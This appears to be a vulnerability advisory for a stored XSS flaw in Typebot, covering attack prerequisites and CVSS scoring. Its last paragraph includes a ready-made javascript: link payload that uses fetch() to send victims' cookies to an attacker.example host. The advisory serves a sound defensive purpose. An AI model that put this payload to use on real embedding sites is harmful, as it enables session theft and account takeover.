Typebot EUVD-2026-31480

The attacker must possess any Typebot account (free tier is sufficient) to create and share bots. The victim must click the malicious link rendered inside the Typebot viewer - passive page load does not trigger execution. The Typebot bot must be embedded in a third-party site for the host-origin cookie exfiltration impact; if the bot runs on Typebot's own domain only, the stolen cookies would be Typebot's rather than the embedding application's. Victim authentication is NOT required - shared bots are publicly accessible without login. Exploitation is limited by the UI:R requirement (victim click) and the need for the embedding site to actually serve the malicious bot to visitors.

The CVSS 5.4 Medium score (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) slightly understates real-world risk due to the S:C (Changed Scope) flag. While UI:R (victim must click) and PR:L (attacker needs a Typebot account) are genuine limiting factors, PR:L is effectively trivial since free-tier accounts suffice and the platform is openly registerable. The S:C element is significant: JavaScript executes in the host third-party site's origin rather than Typebot's isolated iframe context, meaning the attacker can read cookies and session storage of the embedding application - a much broader blast radius than the C:L/I:L base metric suggests. No EPSS score was provided in source data. No CISA KEV listing and no POC code identified, meaning this is no public exploit identified at time of analysis. The combination of low exploitation barrier (free account), publicly shareable bots requiring no victim authentication, and host-origin script execution makes this a realistic threat for organizations embedding Typebot in authenticated web portals.

An attacker registers a free Typebot account, creates a bot containing a rich text bubble with a hyperlink whose URL is set to javascript:fetch('https://attacker.example/steal?c='+encodeURIComponent(document.cookie)), and shares the bot publicly. A victim visiting a third-party site that embeds this bot encounters the link in the chat interface, clicks it, and unknowingly triggers the payload - which executes in the host site's JavaScript origin and transmits the victim's session cookies to the attacker-controlled server.